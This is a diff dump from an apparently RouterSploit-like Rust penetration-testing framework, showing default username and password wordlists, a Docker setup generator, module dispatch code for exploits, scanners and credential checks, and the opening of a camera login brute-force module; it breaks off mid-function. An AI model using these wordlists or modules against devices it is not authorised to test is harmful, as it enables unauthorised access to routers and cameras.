5. **Attribution:** If a list leverages community sources (e.g., SecLists), note that in the table and ensure licenses permit redistribution.
|
||||
|
||||
---
|
||||
|
||||
## Ideas for Future Lists
|
||||
|
||||
- `ftp-default-creds.txt` for anonymous login checks
|
||||
- `telnet-banners.txt` to fingerprint devices before brute forcing
|
||||
- `http-admin-panels.txt` for web interface discovery scanners
|
||||
- Vendor-specific RTSP or ONVIF endpoint lists
|
||||
|
||||
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
|
||||
just lists like word lists
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
|
||||
@@ -1,20 +0,0 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -1,20 +0,0 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
@@ -1,327 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Interactive generator for RustSploit Docker-Compose stack.
|
||||
Produces:
|
||||
docker-compose.rustsploit.yml (with embedded Dockerfile)
|
||||
.env.rustsploit-docker
|
||||
and prints the command to bring the stack up.
|
||||
|
||||
This variant includes runtime fixes to avoid permission-denied on /app/data
|
||||
and ensures the container starts as root briefly to fix ownership, then
|
||||
executes the rustsploit binary as the less-privileged `rustsploit` user.
|
||||
"""
|
||||
import secrets
|
||||
import os
|
||||
import stat
|
||||
import socket
|
||||
import ipaddress
|
||||
import subprocess
|
||||
import pwd
|
||||
from pathlib import Path
|
||||
|
||||
# Fix: Use parent.parent since script is in scripts/ directory
|
||||
repo = Path(__file__).resolve().parent.parent
|
||||
if not (repo / "Cargo.toml").exists():
|
||||
print("[-] Error: Run this script from the RustSploit repository root.")
|
||||
print(f" Expected Cargo.toml at: {repo / 'Cargo.toml'}")
|
||||
exit(1)
|
||||
|
||||
# ---------- Helper functions ----------
|
||||
def ask(prompt, default=None, validator=None):
|
||||
"""Interactive prompt with validation."""
|
||||
suffix = f" [{default}]" if default is not None else ""
|
||||
while True:
|
||||
val = input(f"{prompt}{suffix}: ").strip()
|
||||
if not val and default is not None:
|
||||
val = default
|
||||
if not val:
|
||||
print("Value cannot be empty.")
|
||||
continue
|
||||
if validator:
|
||||
try:
|
||||
validator(val)
|
||||
except ValueError as e:
|
||||
print(f"Invalid input: {e}")
|
||||
continue
|
||||
return val
|
||||
|
||||
|
||||
def ask_yes_no(prompt, default=True):
|
||||
"""Yes/No prompt."""
|
||||
hint = "Y/n" if default else "y/N"
|
||||
while True:
|
||||
val = input(f"{prompt} ({hint}): ").strip().lower()
|
||||
if not val:
|
||||
return default
|
||||
if val in ("y", "yes"):
|
||||
return True
|
||||
if val in ("n", "no"):
|
||||
return False
|
||||
print("Please answer 'y' or 'n'.")
|
||||
|
||||
|
||||
def validate_host(host):
|
||||
"""Validate host/IP address."""
|
||||
host = host.strip()
|
||||
if not host:
|
||||
raise ValueError("Host cannot be empty")
|
||||
# Allow localhost
|
||||
if host == "localhost":
|
||||
return
|
||||
# Try to parse as IP
|
||||
try:
|
||||
ipaddress.ip_address(host)
|
||||
except ValueError:
|
||||
# Not a valid IP, check if it's a valid hostname
|
||||
if len(host) > 253:
|
||||
raise ValueError("Hostname too long (max 253 chars)")
|
||||
if any(c.isspace() for c in host):
|
||||
raise ValueError("Hostname cannot contain whitespace")
|
||||
|
||||
|
||||
def validate_port(port_str):
|
||||
"""Validate port number."""
|
||||
try:
|
||||
port = int(port_str)
|
||||
if not (1 <= port <= 65535):
|
||||
raise ValueError("Port must be between 1 and 65535")
|
||||
except ValueError as e:
|
||||
if "invalid literal" in str(e):
|
||||
raise ValueError("Port must be a number")
|
||||
raise
|
||||
|
||||
|
||||
def detect_private_ip():
|
||||
"""Try to detect private IP address."""
|
||||
try:
|
||||
with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:
|
||||
sock.connect(("192.0.2.1", 80))
|
||||
return sock.getsockname()[0]
|
||||
except OSError:
|
||||
return None
|
||||
|
||||
# ---------- Interactive prompts ----------
|
||||
print("\n[+] RustSploit Docker Setup\n")
|
||||
|
||||
# Host selection
|
||||
print("Select bind address:")
|
||||
print(" [1] 127.0.0.1 (localhost only)")
|
||||
print(" [2] 0.0.0.0 (all interfaces)")
|
||||
print(" [3] Private LAN IP (auto-detect)")
|
||||
print(" [4] Custom IP/hostname")
|
||||
|
||||
choice = ask("Choice", "2")
|
||||
if choice == "1":
|
||||
host = "127.0.0.1"
|
||||
elif choice == "2":
|
||||
host = "0.0.0.0"
|
||||
elif choice == "3":
|
||||
detected = detect_private_ip()
|
||||
if detected:
|
||||
print(f"[+] Detected private IP: {detected}")
|
||||
use_detected = ask_yes_no("Use detected IP?", True)
|
||||
host = detected if use_detected else ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
print("[-] Could not auto-detect private IP")
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
else:
|
||||
host = ask("Enter IP/hostname", validator=validate_host)
|
||||
|
||||
# Port
|
||||
# Default changed to 9000 as this is a common API port and matches user's prior usage
|
||||
port_str = ask("Host port to expose", "9000", validator=validate_port)
|
||||
port = int(port_str)
|
||||
|
||||
# API Key
|
||||
print("\n[+] API Key Configuration")
|
||||
generate_key = ask_yes_no("Generate random API key?", True)
|
||||
if generate_key:
|
||||
api_key = secrets.token_urlsafe(32)
|
||||
print(f"[+] Generated API key: {api_key}")
|
||||
else:
|
||||
api_key = ask("Enter API key (ASCII, max 128 chars)", validator=lambda k: None if (len(k) <= 128 and all(32 <= ord(c) <= 126 for c in k)) else ValueError("API key must be printable ASCII, max 128 chars"))
|
||||
|
||||
# Hardening
|
||||
print("\n[+] Security Hardening")
|
||||
harden = ask_yes_no("Enable API hardening (auto-rotate key on suspicious activity)?", False)
|
||||
ip_limit = 10
|
||||
if harden:
|
||||
ip_limit_str = ask("Max unique IPs before rotation", "10", validator=lambda v: validate_port(v) if v else None)
|
||||
ip_limit = int(ip_limit_str)
|
||||
|
||||
# ---------- File generation ----------
|
||||
env_file = ".env.rustsploit-docker"
|
||||
compose_file = "docker-compose.rustsploit.yml"
|
||||
|
||||
env_path = repo / env_file
|
||||
compose_path = repo / compose_file
|
||||
|
||||
# Check for existing .env file
|
||||
if env_path.exists():
|
||||
print(f"\n[!] Warning: {env_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite .env file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# Check for existing docker-compose file
|
||||
if compose_path.exists():
|
||||
print(f"\n[!] Warning: {compose_path.relative_to(repo)} already exists.")
|
||||
if not ask_yes_no("Overwrite docker-compose file?", False):
|
||||
print("[-] Aborted.")
|
||||
exit(0)
|
||||
|
||||
# ---- .env ----
|
||||
container_interface = f"0.0.0.0:{port}"
|
||||
env_content = f"""RUSTSPLOIT_INTERFACE={container_interface}
|
||||
RUSTSPLOIT_API_KEY={api_key}
|
||||
RUSTSPLOIT_HARDEN={"true" if harden else "false"}
|
||||
RUSTSPLOIT_IP_LIMIT={ip_limit}
|
||||
"""
|
||||
env_path.write_text(env_content)
|
||||
# Set permissions: owner read/write only (0600) to keep API key private while still readable by docker-compose
|
||||
os.chmod(env_path, stat.S_IRUSR | stat.S_IWUSR)
|
||||
print(f"\n[+] Generated: {env_path}")
|
||||
|
||||
# Fix ownership if file was created with sudo (owned by root)
|
||||
if env_path.stat().st_uid == 0:
|
||||
print("[!] File was created as root. Fixing ownership...")
|
||||
try:
|
||||
# Get the actual user (SUDO_USER if running via sudo, otherwise current user)
|
||||
user = os.environ.get('SUDO_USER') or os.environ.get('USER')
|
||||
if not user:
|
||||
user = pwd.getpwuid(os.getuid()).pw_name
|
||||
|
||||
# If we're running as root (via sudo), we can chown directly
|
||||
if os.geteuid() == 0:
|
||||
user_info = pwd.getpwnam(user)
|
||||
os.chown(env_path, user_info.pw_uid, user_info.pw_gid)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
else:
|
||||
# Not root, need to use sudo
|
||||
subprocess.run(['sudo', 'chown', f'{user}:{user}', str(env_path)], check=True)
|
||||
print(f"[+] Ownership fixed: {user}:{user}")
|
||||
except (subprocess.CalledProcessError, FileNotFoundError, KeyError) as e:
|
||||
print(f"[!] Warning: Could not automatically fix ownership: {e}")
|
||||
print(f" Please run manually: sudo chown $USER:$USER {env_path}")
|
||||
|
||||
# ---- docker-compose.yml with embedded Dockerfile ----
|
||||
# Note: The serve stage runs the entrypoint as root so it can fix ownership of
|
||||
# /app/data at container startup, then it drops privileges and executes the
|
||||
# rustsploit binary as the less-privileged `rustsploit` user via runuser.
|
||||
|
||||
dockerfile_content = """FROM rust:1.83-slim AS builder
|
||||
WORKDIR /workspace
|
||||
ENV CARGO_TERM_COLOR=always
|
||||
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends \\
|
||||
build-essential \\
|
||||
pkg-config \\
|
||||
libssl-dev \\
|
||||
libclang-dev \\
|
||||
libpcap-dev \\
|
||||
libsqlite3-dev \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY Cargo.toml ./
|
||||
COPY Cargo.lock* ./
|
||||
|
||||
COPY . .
|
||||
RUN cargo build --release --bin rustsploit
|
||||
|
||||
FROM debian:bookworm-slim AS serve
|
||||
RUN apt-get update \\
|
||||
&& apt-get install -y --no-install-recommends ca-certificates util-linux \\
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# create non-root user
|
||||
RUN useradd --system --home /app --shell /usr/sbin/nologin rustsploit
|
||||
WORKDIR /app
|
||||
|
||||
# create data dir (image-level), but runtime entrypoint will chown the volume target
|
||||
RUN mkdir -p /app/data && chown rustsploit:rustsploit /app/data
|
||||
|
||||
COPY --from=builder /workspace/target/release/rustsploit /usr/local/bin/rustsploit
|
||||
|
||||
# entrypoint runs as root (default) so it can fix ownership of mounted volumes
|
||||
RUN echo '#!/bin/sh' > /entrypoint.sh && \\
|
||||
echo 'set -e' >> /entrypoint.sh && \\
|
||||
echo 'ARGS="--api --api-key \"${RUSTSPLOIT_API_KEY}\" --interface \"${RUSTSPLOIT_INTERFACE}\""' >> /entrypoint.sh && \\
|
||||
echo 'if [ "\"$RUSTSPLOIT_HARDEN\"" = "\"true\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --harden"' >> /entrypoint.sh && \\
|
||||
echo ' if [ -n "\"$RUSTSPLOIT_IP_LIMIT\"" ]; then' >> /entrypoint.sh && \\
|
||||
echo ' ARGS="$ARGS --ip-limit $RUSTSPLOIT_IP_LIMIT"' >> /entrypoint.sh && \\
|
||||
echo ' fi' >> /entrypoint.sh && \\
|
||||
echo 'fi' >> /entrypoint.sh && \\
|
||||
# ensure data dir exists and is owned by rustsploit so that non-root process can write
|
||||
echo 'mkdir -p /app/data' >> /entrypoint.sh && \\
|
||||
echo 'mkdir -p /app/data/logs || true' >> /entrypoint.sh && \\
|
||||
echo 'chown -R rustsploit:rustsploit /app/data || true' >> /entrypoint.sh && \\
|
||||
echo 'LOG_FILE=/app/data/logs/rustsploit_api.log' >> /entrypoint.sh && \\
|
||||
echo 'touch "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'chown rustsploit:rustsploit "$LOG_FILE" || true' >> /entrypoint.sh && \\
|
||||
echo 'ln -sf "$LOG_FILE" /app/rustsploit_api.log || true' >> /entrypoint.sh && \\
|
||||
# finally, execute rustsploit as the rustsploit user using runuser
|
||||
echo 'exec runuser -u rustsploit -- /usr/local/bin/rustsploit $ARGS' >> /entrypoint.sh && \\
|
||||
chmod +x /entrypoint.sh && \\
|
||||
chown root:root /entrypoint.sh && \\
|
||||
chown root:root /usr/local/bin/rustsploit
|
||||
|
||||
# keep default user root so entrypoint can perform ownership fixes; runtime drops to rustsploit
|
||||
EXPOSE 8080
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
"""
|
||||
|
||||
# Create Dockerfile in repo root (hardcoded in script, not in docker/ folder)
|
||||
dockerfile_path = repo / "Dockerfile.rustsploit"
|
||||
dockerfile_path.write_text(dockerfile_content)
|
||||
print(f"[+] Generated: {dockerfile_path}")
|
||||
|
||||
# Generate docker-compose.yml
|
||||
compose_content = f"""# Generated by {Path(__file__).name}
|
||||
services:
|
||||
rustsploit-api:
|
||||
container_name: rustsploit-api
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile.rustsploit
|
||||
target: serve
|
||||
restart: unless-stopped
|
||||
env_file:
|
||||
- {env_file}
|
||||
ports:
|
||||
- "{host}:{port}:{port}"
|
||||
security_opt:
|
||||
- no-new-privileges:true
|
||||
tmpfs:
|
||||
- /tmp
|
||||
volumes:
|
||||
- rustsploit-data:/app/data
|
||||
|
||||
volumes:
|
||||
rustsploit-data:
|
||||
name: rustsploit-data
|
||||
"""
|
||||
|
||||
compose_path.write_text(compose_content)
|
||||
print(f"[+] Generated: {compose_path}")
|
||||
|
||||
print("\n[+] Setup complete!")
|
||||
print("\n[+] Generated files:")
|
||||
print(f" - {env_path.relative_to(repo)}")
|
||||
print(f" - {compose_path.relative_to(repo)}")
|
||||
print(f" - {dockerfile_path.relative_to(repo)}")
|
||||
print(f"\n[!] Note: Run docker compose commands from the repository root:")
|
||||
print(f" cd {repo}")
|
||||
print("\n[+] To start the stack, run:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} up -d --build")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} up -d --build")
|
||||
print("\n[+] To view logs:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} logs -f")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} logs -f")
|
||||
print("\n[+] To stop the stack:")
|
||||
print(f" cd {repo} && docker compose -f {compose_file} down")
|
||||
print(f" # OR from any directory:")
|
||||
print(f" docker compose -f {compose_path} down")
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
|
||||
/// Target IP or hostname
|
||||
#[arg(short, long)]
|
||||
pub target: Option<String>,
|
||||
|
||||
/// Module name to use
|
||||
#[arg(short, long)]
|
||||
pub module: Option<String>,
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs"));
|
||||
|
||||
pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
// Keep dispatch file naming consistent with build.rs
|
||||
let dest_path = Path::new(&out_dir).join("creds_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let creds_root = Path::new("src/modules/creds");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Generate dispatch function
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found cred module: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
|
||||
|
||||
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::Write;
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let exploits_root = Path::new("src/modules/exploits");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found exploit: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
pub mod exploit;
|
||||
pub mod scanner;
|
||||
pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
"exploit" => {
|
||||
let trimmed = module.trim_start_matches("exploits/");
|
||||
exploit::run_exploit(trimmed, &target).await?;
|
||||
},
|
||||
"scanner" => {
|
||||
let trimmed = module.trim_start_matches("scanners/");
|
||||
scanner::run_scan(trimmed, &target).await?;
|
||||
},
|
||||
"creds" => {
|
||||
let trimmed = module.trim_start_matches("creds/");
|
||||
creds::run_cred_check(trimmed, &target).await?;
|
||||
},
|
||||
_ => {
|
||||
eprintln!("Unknown command '{}'", command);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
.unwrap_or(false)
|
||||
});
|
||||
|
||||
let resolved = if let Some(m) = full_match {
|
||||
m
|
||||
} else if let Some(m) = short_match {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
}
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in &categories {
|
||||
let base = format!("src/modules/{}", category);
|
||||
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
|
||||
let p = entry.path();
|
||||
if p.is_file()
|
||||
&& p.extension().map_or(false, |e| e == "rs")
|
||||
&& p.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(rel) = p.strip_prefix("src/modules") {
|
||||
let module_path = rel
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/");
|
||||
modules.push(module_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
modules
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::{Path, PathBuf};
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
use anyhow::Result;
|
||||
use clap::Parser;
|
||||
|
||||
mod cli;
|
||||
mod shell;
|
||||
mod commands;
|
||||
mod modules;
|
||||
mod utils;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<()> {
|
||||
// Parse command-line arguments
|
||||
let cli_args = cli::Cli::parse();
|
||||
|
||||
// If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly:
|
||||
if let Some(cmd) = &cli_args.command {
|
||||
commands::handle_command(cmd, &cli_args).await?;
|
||||
}
|
||||
// Otherwise, launch the interactive shell
|
||||
else {
|
||||
shell::interactive_shell().await?;
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,219 @@
|
||||
use anyhow::{Context, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use reqwest::Client;
|
||||
use ssh2::Session;
|
||||
use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
pub enum ServiceType {
|
||||
Ftp,
|
||||
Ssh,
|
||||
Telnet,
|
||||
Http,
|
||||
}
|
||||
|
||||
/// Common config
|
||||
#[derive(Clone)]
|
||||
pub struct Config {
|
||||
pub target: String,
|
||||
pub port: u16,
|
||||
pub credentials: Vec<(&'static str, &'static str)>,
|
||||
pub stop_on_success: bool,
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
|
||||
fn normalize_target(target: &str, port: u16) -> String {
|
||||
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
|
||||
if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]:{}", cleaned, port) // IPv6
|
||||
} else {
|
||||
format!("{}:{}", cleaned, port) // IPv4 or hostname
|
||||
}
|
